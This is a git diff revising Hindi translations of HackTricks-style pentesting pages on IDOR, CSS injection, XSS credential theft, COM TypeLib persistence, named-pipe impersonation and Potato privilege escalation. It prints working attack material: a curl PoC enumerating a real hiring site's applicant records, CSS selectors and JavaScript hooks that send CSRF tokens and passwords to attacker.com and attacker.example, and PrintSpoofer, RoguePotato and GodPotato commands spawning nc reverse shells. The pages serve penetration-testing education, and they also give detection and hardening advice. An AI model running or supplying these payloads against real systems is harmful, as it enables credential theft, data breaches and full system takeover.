की enumeration ने लगभग **64 million** रिकॉर्ड उजागर किए। +lead_id घटाकर परीक्षक ने मनमाने applicants के **full PII** (name, e-mail, phone, address, shift preferences) तथा एक consumer **JWT** प्राप्त किया जिससे session hijacking संभव हुआ। `1 – 64,185,742` रेंज की Enumeration से लगभग **64 million** रिकॉर्ड उजागर हुए। Proof-of-Concept request: ```bash @@ -72,26 +72,26 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -टेस्ट अकाउंट तक पहुँच देने वाले **default admin credentials** (`123456:123456`) के साथ मिलकर, इस कमज़ोरी ने एक गंभीर, कंपनी-व्यापी डेटा उल्लंघन का कारण बना। +Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. --- ## 3. IDOR / BOLA का प्रभाव * Horizontal escalation – **अन्य उपयोगकर्ताओं** के डेटा को पढ़ना/अपडेट/डिलीट करना। -* Vertical escalation – कम अधिकार वाला उपयोगकर्ता केवल एडमिन के लिए उपलब्ध कार्यक्षमता प्राप्त कर लेता है। -* यदि identifiers क्रमिक हों (जैसे applicant IDs, invoices), तो बड़े पैमाने पर डेटा उल्लंघन हो सकता है। -* अन्य उपयोगकर्ताओं के tokens चुराकर या उनके पासवर्ड रीसेट करके खाता जब्ती। +* Vertical escalation – low privileged user gains admin-only functionality. +* Mass-data breach अगर identifiers क्रमिक हों (उदा., applicant IDs, invoices)। +* Account takeover द्वारा tokens चुराना या अन्य उपयोगकर्ताओं के पासवर्ड रिसेट करना। --- -## 4. रोकथाम और सर्वोत्तम अभ्यास -1. हर अनुरोध पर **object-level authorization लागू करें** (`user_id == session.user`)। -2. auto-increment IDs के बजाय **अप्रत्यक्ष, अनुमान-रहित identifiers** (UUIDv4, ULID) पसंद करें। -3. प्राधिकरण **server-side** पर करें; कभी भी hidden form fields या UI controls पर भरोसा न करें। -4. एक केंद्रीय middleware में **RBAC / ABAC** चेक लागू करें। -5. IDs की enumeration का पता लगाने के लिए **rate-limiting & logging** जोड़ें। -6. प्रत्येक नए endpoint का security परीक्षण करें (unit, integration, और DAST)। +## 4. निवारक उपाय और सर्वोत्तम अभ्यास +1. **Enforce object-level authorization** को हर अनुरोध पर लागू करें (`user_id == session.user`)। +2. auto-increment IDs की बजाय **indirect, unguessable identifiers** (UUIDv4, ULID) को प्राथमिकता दें। +3. authorization **server-side** पर करें; hidden form fields या UI controls पर कभी भरोसा न करें। +4. केन्द्रीय middleware में **RBAC / ABAC** checks लागू करें। +5. ID enumeration का पता लगाने के लिए **rate-limiting & logging** जोड़ें। +6. हर नए endpoint का security परीक्षण करें (unit, integration, and DAST)। --- -## 5. Tooling +## 5. उपकरण * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index d7292a1ca..adb000733 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### एट्रिब्यूट सेलेक्टर +### एट्रिब्यूट सिलेक्टर -CSS सेलेक्टर्स को इस तरह बनाया जाता है कि वे `input` एलिमेंट के `name` और `value` एट्रिब्यूट के मानों से मिलें। यदि `input` एलिमेंट के `value` एट्रिब्यूट की शुरुआत किसी विशिष्ट कैरैक्टर से होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड हो जाता है: +CSS चयनकर्ता `input` एलिमेंट के `name` और `value` एट्रिब्यूट के मान से मेल खाने के लिए बनाए जाते हैं। यदि `input` एलिमेंट का `value` एट्रिब्यूट किसी विशेष अक्षर से शुरू होता है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड हो जाता है: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -हालाँकि, यह तरीका छिपे हुए input elements (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करता है क्योंकि छिपे हुए एलिमेंट्स बैकग्राउंड लोड नहीं करते। +हालाँकि, यह तरीका छिपे हुए इनपुट एलिमेंट्स (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करता है क्योंकि छिपे हुए एलिमेंट पृष्ठभूमि (background) लोड नहीं करते। -#### छिपे हुए एलिमेंट्स के लिए बायपास +#### छिपे हुए एलिमेंट्स के लिए बाइपास -इस सीमा को बायपास करने के लिए, आप `~` general sibling combinator का उपयोग करके उसके बाद आने वाले sibling element को target कर सकते हैं। फिर CSS rule hidden input element के बाद आने वाले सभी siblings पर लागू हो जाता है, जिससे background image लोड हो जाती है: +इस सीमा को दरकिनार करने के लिए, आप `~` जनरल सिबलिंग कम्बिनेटर का उपयोग करके अगले sibling एलिमेंट को टार्गेट कर सकते हैं। फिर CSS नियम उस hidden input एलिमेंट के बाद आने वाले सभी siblings पर लागू होता है, जिससे बैकग्राउंड इमेज लोड हो जाती है: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [यहाँ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### CSS Injection के लिए पूर्व-आवश्यकताएँ +#### CSS Injection के लिए आवश्यकताएँ -For the CSS Injection technique to be effective, certain conditions must be met: +CSS Injection तकनीक प्रभावी होने के लिए कुछ शर्तें पूरी होनी चाहिए: -1. **Payload Length**: CSS injection vector को crafted selectors समाहित करने के लिए पर्याप्त लंबे payloads का समर्थन करना चाहिए। -2. **CSS Re-evaluation**: आपके पास पेज को frame करने की क्षमता होनी चाहिए, जो नए जनरेट किए गए payloads के साथ CSS की re-evaluation को trigger करने के लिए आवश्यक है। -3. **External Resources**: यह technique externally hosted images का उपयोग करने की क्षमता मानती है। यह साइट की Content Security Policy (CSP) द्वारा प्रतिबंधित हो सकता है। +1. **Payload Length**: CSS injection वेक्टर को तैयार किए गए selectors को समायोजित करने के लिए पर्याप्त लंबे payloads का समर्थन करना चाहिए। +2. **CSS Re-evaluation**: आपको पेज को फ्रेम करने की क्षमता होनी चाहिए, जो नए जनरेट किए गए payloads के साथ CSS के पुनः मूल्यांकन को ट्रिगर करने के लिए आवश्यक है। +3. **External Resources**: यह तकनीक externally hosted images का उपयोग करने की क्षमता मानती है। यह साइट की Content Security Policy (CSP) द्वारा प्रतिबंधित हो सकता है। ### Blind Attribute Selector -As [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ -It's also possible to use those selectors to extract information from several block of the same type like in: +जैसा कि [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), यह संभव है कि selectors **`:has`** और **`:not`** को मिलाकर blind elements से भी कंटेंट की पहचान की जा सके। यह तब बहुत उपयोगी होता है जब आपको यह अंदाजा ही न हो कि CSS injection लोड कर रहे वेब पेज के अंदर क्या है।\ +इन selectors का उपयोग समान प्रकार के कई ब्लॉकों से जानकारी निकालने के लिए भी किया जा सकता है, जैसे कि: ```html ``` -### ऑटो-फिल पासवर्ड कैप्चर +### Auto-fill passwords capture ```javascript Username:
@@ -1428,11 +1422,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -जब भी कोई डेटा password field में डाला जाता है, username और password attackers server को भेज दिया जाता है — यहां तक कि अगर client एक saved password चुनता है और कुछ लिखता नहीं है, तब भी credentials ex-filtrated हो जाएंगे। +जब password field में कोई भी डेटा डाला जाता है, तो username और password attackers server को भेज दिए जाते हैं — यहाँ तक कि अगर client saved password चुनता है और कुछ भी नहीं लिखता है, तब भी credentials ex-filtrated हो जाएंगे। ### Hijack form handlers to exfiltrate credentials (const shadowing) -If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control: +यदि कोई critical handler (e.g., `function DoLogin(){...}`) पेज में बाद में declared है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो उसी नाम का एक `const` पहले define करें ताकि आप handler को preempt और lock कर सकें। बाद में की जाने वाली function declarations किसी `const` नाम को rebind नहीं कर सकतीं, और आपका hook नियंत्रण में रह जाएगा: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1442,19 +1436,19 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom ``` नोट्स - यह execution order पर निर्भर करता है: आपका injection वैध declaration से पहले execute होना चाहिए। -- यदि आपका payload `eval(...)` में wrapped है, तो `const/let` bindings globals नहीं बनेंगे। एक सच्चा global, non-rebindable binding सुनिश्चित करने के लिए सेक्शन “Deliverable payloads with eval(atob()) and scope nuances” में बताई गई dynamic ` ``` -### PostMessage संदेश चुराना +### PostMessage संदेशों को चुराना ```html ``` -4) Triggering – IE खोलना, कोई ऐसा एप्लिकेशन जो WebBrowser control को embed करता है, या यहाँ तक कि सामान्य Explorer activity भी TypeLib को लोड करेगा और scriptlet को execute करेगा, जिससे आपकी chain logon/reboot पर पुनः सक्रिय हो जाएगी। +4) सक्रिय करना – IE खोलना, कोई एप्लिकेशन जो WebBrowser control को एम्बेड करता है, या सामान्य Explorer गतिविधि TypeLib को लोड करेगी और scriptlet को निष्पादित करेगी, जिससे logon/reboot पर आपकी chain फिर से सशस्त्र हो जाएगी। -सफाई +साफ़-सफ़ाई ```powershell # Remove the per-user TypeLib hijack Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null # Delete the dropped scriptlet Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` -नोट - -- आप वही लॉजिक अन्य बार-बार उपयोग होने वाले COM घटकों पर भी लागू कर सकते हैं; हमेशा पहले वास्तविक `LIBID` को `HKCR\CLSID\{CLSID}\TypeLib` से रिज़ॉल्व करें। -- 64-bit सिस्टम्स पर आप 64-bit consumers के लिए `win64` सबकी भी भर सकते हैं। +नोट्स +- आप वही लॉजिक अन्य बार-बार उपयोग होने वाले COM घटकों पर लागू कर सकते हैं; सदैव पहले `HKCR\CLSID\{CLSID}\TypeLib` से वास्तविक `LIBID` को हल करें। +- 64-bit सिस्टम्स पर आप 64-bit उपभोक्ताओं के लिए `win64` उप-कुंजी भी भर सकते हैं। ## संदर्भ diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 6a2ef7986..264262307 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation एक local privilege escalation primitive है जो किसी named-pipe server thread को उस client के security context को अपनाने की अनुमति देती है जो उससे कनेक्ट होता है। व्यवहार में, एक attacker जो SeImpersonatePrivilege के साथ कोड चला सकता है, एक privileged client (उदा., एक SYSTEM service) को attacker-controlled pipe से कनेक्ट करने के लिए मजबूर कर सकता है, ImpersonateNamedPipeClient कॉल कर सकता है, प्राप्त token को primary token में duplicate कर सकता है, और client के रूप में एक process spawn कर सकता है (अक्सर NT AUTHORITY\SYSTEM)। +Named Pipe client impersonation एक local privilege escalation primitive है जो एक named-pipe server थ्रेड को उस क्लाइंट का security context अपनाने देगा जो उससे कनेक्ट होता है। व्यवहार में, एक attacker जो SeImpersonatePrivilege के साथ कोड चला सकता है, एक privileged client (उदा. एक SYSTEM service) को attacker-controlled pipe से कनेक्ट करवाने, ImpersonateNamedPipeClient कॉल करने, प्राप्त token को primary token में duplicate करने, और क्लाइंट के रूप में एक प्रोसेस spawn करने (अक्सर NT AUTHORITY\SYSTEM) के लिए बाध्य कर सकता है। -यह पृष्ठ core technique पर केंद्रित है। SYSTEM को आपकी pipe पर मजबूर करने वाले end-to-end exploit chains के लिए, नीचे संदर्भित Potato family pages देखें। +यह पृष्ठ मूल तकनीक पर केंद्रित है। SYSTEM को आपकी pipe से जोड़ने वाले end-to-end exploit chains के लिए, नीचे संदर्भित Potato family पृष्ठ देखें। ## TL;DR -- Create a named pipe: \\.\pipe\ और connection का इंतज़ार करें. -- एक privileged component को उससे connect कराएँ (spooler/DCOM/EFSRPC/etc.). -- pipe से कम से कम एक message पढ़ें, फिर ImpersonateNamedPipeClient कॉल करें। -- वर्तमान thread से impersonation token खोलें, DuplicateTokenEx(TokenPrimary) करें, और CreateProcessWithTokenW/CreateProcessAsUser का उपयोग करके SYSTEM process प्राप्त करें। +- एक named pipe बनाएं: \\.\pipe\ और कनेक्शन का इंतज़ार करें। +- किसी privileged component को इससे कनेक्ट कराएँ (spooler/DCOM/EFSRPC/etc.)। +- pipe से कम से कम एक संदेश पढ़ें, फिर ImpersonateNamedPipeClient कॉल करें। +- वर्तमान थ्रेड से impersonation token खोलें, DuplicateTokenEx(TokenPrimary) करें, और CreateProcessWithTokenW/CreateProcessAsUser का उपयोग करके SYSTEM प्रोसेस प्राप्त करें। ## Requirements and key APIs -- कॉलिंग process/thread द्वारा सामान्यतः आवश्यक privileges: -- SeImpersonatePrivilege ताकि connecting client की सफलतापूर्वक impersonation की जा सके और CreateProcessWithTokenW का उपयोग किया जा सके। -- विकल्प के रूप में, SYSTEM की impersonation करने के बाद आप CreateProcessAsUser का उपयोग कर सकते हैं, जिसके लिए SeAssignPrimaryTokenPrivilege और SeIncreaseQuotaPrivilege की आवश्यकता हो सकती है (ये तब संतुष्ट होते हैं जब आप SYSTEM की impersonation कर रहे हों)। -- मुख्य APIs जो उपयोग होते हैं: +- कॉल करने वाले process/thread को सामान्यतः जिन privileges की आवश्यकता होती है: +- SeImpersonatePrivilege ताकि कनेक्ट होने वाले क्लाइंट की सफलतापूर्वक impersonation की जा सके और CreateProcessWithTokenW का उपयोग किया जा सके। +- वैकल्पिक रूप से, SYSTEM की impersonation करने के बाद आप CreateProcessAsUser का उपयोग कर सकते हैं, जिसके लिए SeAssignPrimaryTokenPrivilege और SeIncreaseQuotaPrivilege की आवश्यकता हो सकती है (ये जब आप SYSTEM की impersonation कर रहे होते हैं तब संतुष्ट होते हैं)। +- उपयोग की जाने वाली मुख्य APIs: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (impersonation से पहले कम से कम एक message पढ़ना आवश्यक है) +- ReadFile/WriteFile (impersonation से पहले कम से कम एक संदेश पढ़ना आवश्यक है) - ImpersonateNamedPipeClient and RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) - CreateProcessWithTokenW or CreateProcessAsUser -- Impersonation level: स्थानीय उपयोगी क्रियाएँ करने के लिए, client को SecurityImpersonation की अनुमति देनी चाहिए (कई local RPC/named-pipe clients के लिए डिफ़ॉल्ट)। Clients pipe खोलते समय SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ इसे कम कर सकते हैं। +- Impersonation level: लोकली उपयोगी कार्य करने के लिए, client को SecurityImpersonation की अनुमति देनी चाहिए (कई local RPC/named-pipe clients के लिए डिफ़ॉल्ट)। क्लाइंट pipe खोलते समय SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ इसे घटा सकते हैं। ## Minimal Win32 workflow (C) ```c @@ -69,11 +69,11 @@ return 0; } ``` नोट्स: -- यदि ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) लौटाता है, तो सुनिश्चित करें कि आप पहले पाइप से पढ़ रहे हैं और कि क्लाइंट ने impersonation को Identification स्तर तक सीमित नहीं किया है। -- DuplicateTokenEx को SecurityImpersonation और TokenPrimary के साथ प्राथमिकता दें ताकि process creation के लिए उपयुक्त primary token बनाया जा सके। +- यदि ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) लौटाता है, तो पहले pipe से पढ़ना सुनिश्चित करें और कि client ने impersonation को Identification level तक सीमित नहीं किया है। +- DuplicateTokenEx का उपयोग SecurityImpersonation और TokenPrimary के साथ करें ताकि process creation के लिए उपयुक्त primary token बनाया जा सके। ## .NET त्वरित उदाहरण -In .NET, NamedPipeServerStream RunAsClient के माध्यम से impersonate कर सकता है। एक बार impersonate करने पर, thread token को duplicate करें और एक process बनाएं। +In .NET, NamedPipeServerStream RunAsClient के माध्यम से impersonate कर सकता है। एक बार impersonating हो जाने पर, thread token को duplicate करें और एक process बनाएं। ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,8 +93,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Common triggers/coercions to get SYSTEM to your pipe -These techniques coerces अधिकार प्राप्त सेवाओं को आपके named pipe से कनेक्ट करने के लिए ताकि आप उन्हें impersonate कर सकें: +## SYSTEM को आपकी pipe से जोड़ने के सामान्य ट्रिगर/जबरदस्ती +ये तकनीकें privileged services को मजबूर करती हैं कि वे आपकी named pipe से कनेक्ट करें ताकि आप उन्हें impersonate कर सकें: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) @@ -117,20 +117,20 @@ If you just need a full example of crafting the pipe and impersonating to spawn from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Troubleshooting and gotchas -- आप ImpersonateNamedPipeClient कॉल करने से पहले pipe से कम-से-कम एक message पढ़ना होगा; अन्यथा आपको ERROR_CANNOT_IMPERSONATE (1368) मिलेगा। -- यदि client SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ कनेक्ट करता है, तो server पूर्ण रूप से impersonate नहीं कर सकता; GetTokenInformation(TokenImpersonationLevel) के माध्यम से token के impersonation level की जाँच करें। -- CreateProcessWithTokenW caller पर SeImpersonatePrivilege की आवश्यकता होती है। यदि यह ERROR_PRIVILEGE_NOT_HELD (1314) के साथ फेल होता है, तो पहले आप SYSTEM को impersonate करने के बाद CreateProcessAsUser का उपयोग करें। -- यदि आपने pipe का security descriptor harden किया है तो सुनिश्चित करें कि target service को कनेक्ट करने की अनुमति है; डिफ़ॉल्ट रूप से, \\.\pipe के नीचे के pipes server के DACL के अनुसार पहुँच योग्य होते हैं। +## त्रुटि निवारण और सावधानियाँ +- ImpersonateNamedPipeClient को कॉल करने से पहले pipe से कम से कम एक संदेश पढ़ना आवश्यक है; अन्यथा आपको ERROR_CANNOT_IMPERSONATE (1368) मिलेगा। +- यदि client SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ कनेक्ट करता है, तो server पूरी तरह impersonate नहीं कर सकता; token के impersonation स्तर की जांच GetTokenInformation(TokenImpersonationLevel) के माध्यम से करें। +- CreateProcessWithTokenW कॉल करने वाले पर SeImpersonatePrivilege की आवश्यकता होती है। यदि यह ERROR_PRIVILEGE_NOT_HELD (1314) के साथ फेल होता है, तो पहले SYSTEM को impersonate करने के बाद CreateProcessAsUser का उपयोग करें। +- यदि आपने pipe को harden किया है तो सुनिश्चित करें कि आपकी pipe का security descriptor target service को कनेक्ट करने की अनुमति देता है; डिफ़ॉल्ट रूप से, pipes under \\.\pipe server की DACL के अनुसार एक्सेसिबल होते हैं। -## Detection and hardening -- named pipe के निर्माण और कनेक्शनों की निगरानी करें। Sysmon Event IDs 17 (Pipe Created) और 18 (Pipe Connected) वैध pipe नामों का बेसलाइन बनाने और token-manipulation घटनाओं से पहले अनोखे, random-लगने वाले pipes पकड़ने के लिए उपयोगी हैं। -- ऐसे अनुक्रमों की तलाश करें: कोई process एक pipe बनाता है, एक SYSTEM service कनेक्ट करता है, फिर बनाने वाला process SYSTEM के रूप में एक child spawn करता है। -- exposure कम करने के लिए nonessential service accounts से SeImpersonatePrivilege हटाएँ और उच्च privileges के साथ अनावश्यक service logons से बचें। -- Defensive development: untrusted named pipes से कनेक्ट करते समय SECURITY_SQOS_PRESENT के साथ SECURITY_IDENTIFICATION निर्दिष्ट करें ताकि servers आवश्यक न होने पर client को पूर्ण रूप से impersonate न कर सकें। +## डिटेक्शन और हार्डनिंग +- named pipe निर्माण और कनेक्शनों की निगरानी करें। Sysmon Event IDs 17 (Pipe Created) और 18 (Pipe Connected) वैध pipe नामों का बेसलाइन बनाने और token-manipulation इवेंट्स से पहले होने वाले असामान्य, रैंडम-लगने वाले pipes को पकड़ने में उपयोगी हैं। +- निम्न क्रम की तलाश करें: process एक pipe बनाता है, एक SYSTEM service कनेक्ट होती है, और फिर बनाने वाला process SYSTEM के रूप में एक child spawn करता है। +- जोखिम कम करने के लिए गैर-आवश्यक service accounts से SeImpersonatePrivilege हटा दें और उच्च privileges वाले अनावश्यक service logons से बचें। +- Defensive development: untrusted named pipes से कनेक्ट करते समय SECURITY_SQOS_PRESENT के साथ SECURITY_IDENTIFICATION निर्दिष्ट करें ताकि servers आवश्यक होने तक client को पूरी तरह impersonate न कर सकें। -## References -- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +## संदर्भ +- Windows: ImpersonateNamedPipeClient दस्तावेज़ (impersonation आवश्यकताएँ और व्यवहार). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient - ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 7e8c99ab3..b1cf1a409 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato काम नहीं करता** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** का उपयोग समान विशेषाधिकार भुनाने और `NT AUTHORITY\SYSTEM` स्तर की पहुँच प्राप्त करने के लिए किया जा सकता है। This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. +> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. > [!TIP] > A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. @@ -22,23 +22,23 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## आवश्यकताएँ और सामान्य सावधानियाँ +## आवश्यकताएँ और सामान्य समस्याएँ -निम्नलिखित सभी तकनीकें एक impersonation-capable privileged service का दुरुपयोग करने पर निर्भर करती हैं, जो उस संदर्भ से की जाती हैं जिसमें निम्नलिखित में से कोई एक विशेषाधिकार मौजूद होता है: +नीचे दी गई सभी techniques एक impersonation-capable privileged service का दुरुपयोग करने पर निर्भर करती हैं, और यह context उन privileges में से किसी एक को होल्ड करता है: -- SeImpersonatePrivilege (सबसे सामान्य) या SeAssignPrimaryTokenPrivilege -- High integrity आवश्यक नहीं है अगर टोकन में पहले से SeImpersonatePrivilege मौजूद हो (आम तौर पर कई service accounts जैसे IIS AppPool, MSSQL, आदि के लिए) +- SeImpersonatePrivilege (सबसे आम) या SeAssignPrimaryTokenPrivilege +- High integrity आवश्यक नहीं है अगर token में पहले से SeImpersonatePrivilege मौजूद है (आम तौर पर कई service accounts जैसे IIS AppPool, MSSQL, आदि के लिए ऐसा होता है) -विशेषाधिकार शीघ्र जाँचें: +प्रिविलेज जल्दी से चेक करें: ```cmd whoami /priv | findstr /i impersonate ``` ऑपरेशनल नोट्स: -- PrintSpoofer को Print Spooler सेवा चल रही और स्थानीय RPC endpoint (spoolss) पर पहुँच योग्य होना चाहिए। कठोर-सुरक्षित वातावरणों में जहाँ Spooler को PrintNightmare के बाद disabled किया गया हो, RoguePotato/GodPotato/DCOMPotato/EfsPotato को प्राथमिकता दें। -- RoguePotato को TCP/135 पर पहुँच योग्य OXID resolver चाहिए। अगर egress blocked है, तो redirector/port-forwarder का उपयोग करें (नीचे उदाहरण देखें)। पुराने builds में -f flag की जरूरत होती थी। -- EfsPotato/SharpEfsPotato MS-EFSR का दुरुपयोग करते हैं; अगर एक pipe blocked है, तो वैकल्पिक pipes आज़माएँ (lsarpc, efsrpc, samr, lsass, netlogon)। -- RpcBindingSetAuthInfo के दौरान Error 0x6d3 आम तौर पर किसी अज्ञात/असमर्थित RPC authentication service को दर्शाता है; कोई अलग pipe/transport आज़माएँ या सुनिश्चित करें कि target service चल रही है। +- PrintSpoofer को Print Spooler सेवा चालू और स्थानीय RPC endpoint (spoolss) पर पहुँच योग्य होना चाहिए। कड़े वातावरण में जहाँ Spooler को PrintNightmare के बाद निष्क्रिय किया गया है, RoguePotato/GodPotato/DCOMPotato/EfsPotato को प्राथमिकता दें। +- RoguePotato के लिए TCP/135 पर उपलब्ध OXID resolver चाहिए। यदि egress ब्लॉक है, तो redirector/port-forwarder का उपयोग करें (नीचे उदाहरण देखें)। पुराने बिल्ड्स में -f flag की आवश्यकता होती थी। +- EfsPotato/SharpEfsPotato MS-EFSR का दुरुपयोग करते हैं; यदि कोई एक pipe ब्लॉक है, तो वैकल्पिक pipes (lsarpc, efsrpc, samr, lsass, netlogon) आज़माएँ। +- RpcBindingSetAuthInfo के दौरान Error 0x6d3 आमतौर पर किसी अज्ञात/असमर्थित RPC authentication service को सूचित करता है; किसी अलग pipe/transport को आज़माएँ या सुनिश्चित करें कि target service चल रही है। ## त्वरित डेमो @@ -57,9 +57,9 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" NULL ``` -नोट: -- आप -i का उपयोग वर्तमान कंसोल में एक इंटरैक्टिव प्रोसेस शुरू करने के लिए कर सकते हैं, या -c का उपयोग एक वन-लाइनर चलाने के लिए कर सकते हैं। -- Spooler सेवा आवश्यक है। यदि यह अक्षम है, तो यह विफल होगा। +नोट्स: +- आप वर्तमान कंसोल में एक इंटरैक्टिव प्रोसेस शुरू करने के लिए -i का उपयोग कर सकते हैं, या एक-लाइनेर चलाने के लिए -c का उपयोग कर सकते हैं। +- Spooler service की आवश्यकता होती है। यदि यह अक्षम है, तो यह विफल हो जाएगा। ### RoguePotato ```bash @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -यदि outbound 135 अवरुद्ध है, तो अपने redirector पर socat के माध्यम से OXID resolver को pivot करें: +यदि outbound 135 blocked है, तो अपने redirector पर socat के माध्यम से OXID resolver को pivot करें: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -टिप: यदि किसी एक pipe में विफलता हो या EDR उसे ब्लॉक कर दे, तो अन्य समर्थित pipes आज़माएँ: +टिप: यदि एक pipe विफल हो जाए या EDR इसे ब्लॉक कर दे, तो अन्य समर्थित pipes आज़माएँ: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -122,14 +122,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -Notes: -- Windows 8/8.1–11 और Server 2012–2022 पर तब काम करता है जब SeImpersonatePrivilege मौजूद हो। +- Windows 8/8.1–11 और Server 2012–2022 